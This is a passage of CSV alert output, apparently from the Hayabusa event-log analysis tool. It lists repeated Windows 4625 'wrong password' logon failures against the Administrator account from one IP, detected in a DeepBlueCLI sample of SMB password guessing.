NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SFhBcgZfc9VZ5S8S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a4ZSRW7F65yDNbJd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HrbzGNYIbjErVtDR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eFcGaL3asLVIF08d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dhJvIM5PzA9U6GTD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KYrfD15TPp8OuST4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8d4CbZSTHhl7fRfa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.027 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IItrtl1h3PsKviaQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.075 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WVeoptuwLNKlm0V2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.222 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rf6Ri9Lm81mScRt4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.282 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NPVkTRUILL5czcbF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QZJq3kjykwzh0hVh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.374 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lHL4KuirjQ96Dgfw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.418 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DSPjDklMHdW6LqK5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EL0oMweyFgI0MEdM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.514 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NJS2dZhWmCGF1Qos : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bNR5dXXnx0LeyNmW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ApUMxqDiqDNo6hrF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.653 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o3d1caGukhhBHp6s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oxDVCaWpkSECRoml : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: coqijUGaaVJXY4GV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.790 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7ATPa6qMbfQ9QDrW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mnQEE00r01jhCNzr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.946 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ir9sY7kG6vbOad4z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:50.989 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: REuk1RZ5eRs3pSbT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 91gfIcAUvKrSAENh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.073 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MtrVV1ux0v5w5XWZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rFpyAqPQP77Ls6ir : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nvwp4DimL7SgBmb0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1lnJZDjghQNQxfG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.253 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pBN1g8NBIj6WMrhz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.291 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cJMUobtFTwOQTgqd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QGZeGqe9rC172BVa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zNP99dMvvDQl8WVw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qcwp0odjR0LfM11y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6VjaFCzZr8iUUovn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.520 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C3YniJHC0Cswfti0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 63lZpExTzSzNR96C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.602 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fKI61MTXJ5x9WF56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.654 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhWYNEPWgh03cQSJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pvZg2LTYtsUhvBhr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BENGUFtNxdPjaS03 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.778 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fY1s0OG9JR38H6rm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LblLG1Il6ngkuAOo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PAZ83Onp00vURKSz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.942 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxvywmA4UMI04zm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:51.997 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1vH6DSer71gxEDRc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uDNQibannB453BKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.101 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 02qkYtCIrOj38agd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: atDwGfxC4RLYYDAF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fCTUmKwLxkKCoCTn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DBE7Y8yJMNSkJlaK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N7VGVfH05BC7bgaZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lP7kC2ayRIEeL5sw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2cQOn41cB2t0ZkSP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.398 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PpOyXZwlcCw63tWP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7R8yD7A0lCU16Z0t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.481 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: frasd7f8On0O7B6k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.529 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FtOqqV6rkCIZPPFG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lnwn4dc1lKABRKxH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CiUnLFzfXR6rER9B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1InESrL0ebaRw2z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IlLAG8gXt9YNeW4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uZIWubLvZcDOWHxr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZazp7ZnBrtswAse : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.849 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jqK5Vqf0QF4qtg0A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k3JvFwi9gDNbO6Sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.932 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fBubAOTZMsahNG0Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:52.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KCxrXG3N1IRzDxxM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e2h9M7o0lS7oC00a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.074 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pprfGGVZblL64xC3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wxgzMKd7eDwzs8WO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.238 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q2RljqAhn0NZhR6O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rcxQVtjMqnE1wGfr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:53.321 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fSRggYsSiJGsGSyV : IP Address: 192.168.198.149 : AuthPackage: 